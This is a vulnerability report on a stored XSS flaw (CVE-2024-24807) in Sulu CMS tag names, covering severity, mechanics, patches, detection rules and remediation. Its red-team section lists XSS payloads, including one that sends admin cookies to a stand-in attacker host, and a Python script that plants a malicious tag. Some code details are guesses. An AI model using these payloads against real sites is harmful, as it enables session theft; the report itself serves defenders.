CVE-2024-24807

Executive Summary

CVE-2024-24807 is a stored Cross-Site Scripting (XSS) vulnerability in the Sulu CMS, a highly extensible open-source PHP content management system built on the Symfony framework. The flaw resides in the Tag name input field, where HTML is improperly sanitized. When an admin user creates a tag with a malicious HTML payload, the payload is executed in the context of the admin panel when the tag name is rendered in the auto-complete form. This vulnerability requires admin-level privileges to exploit, significantly reducing its CVSS score to 2.7 (Low). The attack vector is network-based, with low attack complexity, but requires high privileges and user interaction. The impact is limited to integrity (low) with no impact on confidentiality or availability. The vulnerability is patched in Sulu versions 2.4.16 and 2.5.12.

Supply Chain & Package Security

This vulnerability affects the Sulu CMS, which is distributed as a PHP package via Composer. The package is not directly part of the NPM, PyPI, Go, or Ruby ecosystems. However, organizations using Sulu should ensure they are using a patched version (>=2.4.16 or >=2.5.12) and verify the integrity of their Composer dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 2.7 (Low)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must be an authenticated admin user.
• User Interaction (UI): Required (R) – The victim admin must interact with the malicious tag in the auto-complete form.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): Low (L) – The attacker can modify content within the admin panel.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low. The requirement for admin privileges and user interaction significantly limits the exploitability. However, in a multi-tenant or shared admin environment, a compromised admin account could leverage this to perform further attacks.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Tag management feature of Sulu CMS. The Tag name input field does not properly sanitize or encode HTML entities before storing them in the database. When an admin user creates a new tag, the input is stored as-is. Later, when the tag name is displayed in the auto-complete form (e.g., when assigning tags to content), the stored HTML is rendered without proper escaping, leading to script execution.

Root Cause: Lack of output encoding in the auto-complete form for tag names. The application likely uses a template engine (Twig) that does not automatically escape HTML in certain contexts, or the developer explicitly disabled escaping for the tag name field.

Attack Flow:

1. An authenticated admin user navigates to the Tag creation page.
2. The attacker (or a compromised admin) enters a malicious payload in the Tag name field, e.g., <img src=x onerror=alert(1)>.
3. The payload is stored in the database without sanitization.
4. Another admin user (or the same user) triggers the auto-complete form for tags (e.g., while editing a page).
5. The malicious tag name is rendered in the auto-complete dropdown, executing the JavaScript payload.
6. The payload can perform actions in the context of the victim admin, such as creating new admin accounts, modifying content, or exfiltrating session tokens.

Vulnerable vs. Patched Code

Vulnerable Code (Sulu < 2.4.16 / < 2.5.12): The vulnerable code likely exists in the Twig template for the tag auto-complete form. The tag name is rendered without the |e('html') filter or similar escaping.

{# Vulnerable: no escaping #}
{{ tag.name }}

Patched Code (Sulu >= 2.4.16 / >= 2.5.12): The patch adds proper HTML escaping to the tag name output.

{# Patched: HTML escaping applied #}
{{ tag.name|e('html') }}

Alternatively, the patch might sanitize the input on the server side using a library like HTMLPurifier or strip_tags().

// Patched: Input sanitization
$tag->setName(strip_tags($request->get('name')));

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Sulu CMS instance with admin credentials.
• The instance must be running a vulnerable version (< 2.4.16 or < 2.5.12).

Exploitation Steps:

1. Log in to the Sulu admin panel as an admin user.
2. Navigate to the Tag management section (e.g., /admin/tags).
3. Create a new tag with a malicious payload in the name field. Example payloads:
   • <script>alert('XSS')</script>
   • <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   • <svg onload=eval(atob('base64encodedpayload'))>
4. Save the tag.
5. Trigger the auto-complete form by navigating to a content editing page and clicking on the tag input field.
6. The payload will execute in the context of the admin user.

Automation (using Python requests):

import requests

target = "https://vulnerable-sulu-instance.com"
admin_session = requests.Session()

# Login
login_data = {"_username": "admin", "_password": "password"}
admin_session.post(f"{target}/admin/login", data=login_data)

# Create malicious tag
tag_data = {"name": "<img src=x onerror=alert(1)>"}
admin_session.post(f"{target}/admin/api/tags", json=tag_data)

Blue Team

Detection:

• Monitor for unusual tag names containing HTML or JavaScript in the admin panel logs.
• Look for POST requests to /admin/api/tags with suspicious payloads in the name parameter.
• Use WAF rules to block common XSS payloads in tag names.

Hunting:

• Query the database for tags containing <script>, onerror, onload, or other event handlers.
• Review admin user activity logs for creation of tags with suspicious names.

Lab Setup:

1. Deploy a vulnerable Sulu instance using Docker:

   docker run -d -p 8080:80 sulu/sulu:2.4.15
   

2. Access the admin panel at http://localhost:8080/admin.
3. Default credentials: admin / admin (if using default setup).
4. Follow the Red Team steps to test the vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /admin/api/tags with HTML/JavaScript in the name parameter.
  • Outbound connections to attacker-controlled domains from the admin panel (if payload exfiltrates data).

• Host IOCs:

  • Database entries in the tags table with HTML/JavaScript in the name column.
  • Unusual admin user activity logs, especially tag creation events.

• File IOCs:

  • Modified Twig templates (if attacker gains further access).
  • Suspicious PHP files in the var/cache directory (if attacker exploits further).

Detection Engineering

YARA Rule

rule CVE_2024_24807_Sulu_XSS_TagName {
    meta:
        description = "Detects stored XSS payloads in Sulu CMS tag names"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24807"
        severity = "low"
    strings:
        $xss_payload_1 = /<script[^>]*>.*<\/script>/i
        $xss_payload_2 = /<[^>]+on\w+\s*=[^>]*>/i
        $xss_payload_3 = /<svg[^>]*onload\s*=[^>]*>/i
    condition:
        any of ($xss_payload_*) and filesize < 1MB
}

Sigma Rule

title: Sulu CMS Stored XSS in Tag Name
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of tags with HTML/JavaScript payloads in Sulu CMS
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24807
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/api/tags'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
            - 'onclick'
    condition: selection
falsepositives:
    - Legitimate use of HTML in tag names (unlikely)
level: low

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24807 Sulu CMS Stored XSS in Tag Name"; flow:to_server,established; content:"POST"; http_method; content:"/admin/api/tags"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; pcre:"/<[^>]+on\w+\s*=[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Sulu CMS to version 2.4.16 or 2.5.12 (or later).
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads in the name parameter of /admin/api/tags.
3. Review and sanitize existing tags in the database for any malicious content.

Long-term Mitigations:

1. Implement input validation and output encoding for all user-supplied data.
2. Use Content Security Policy (CSP) headers to mitigate the impact of XSS.
3. Conduct regular security audits and penetration testing.
4. Restrict admin panel access to trusted IPs and enforce strong authentication.

Patch Verification:

• Check the installed version of Sulu:

  composer show sulu/sulu
  

• Ensure the version is >= 2.4.16 or >= 2.5.12.

Valters IT
This report is generated for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.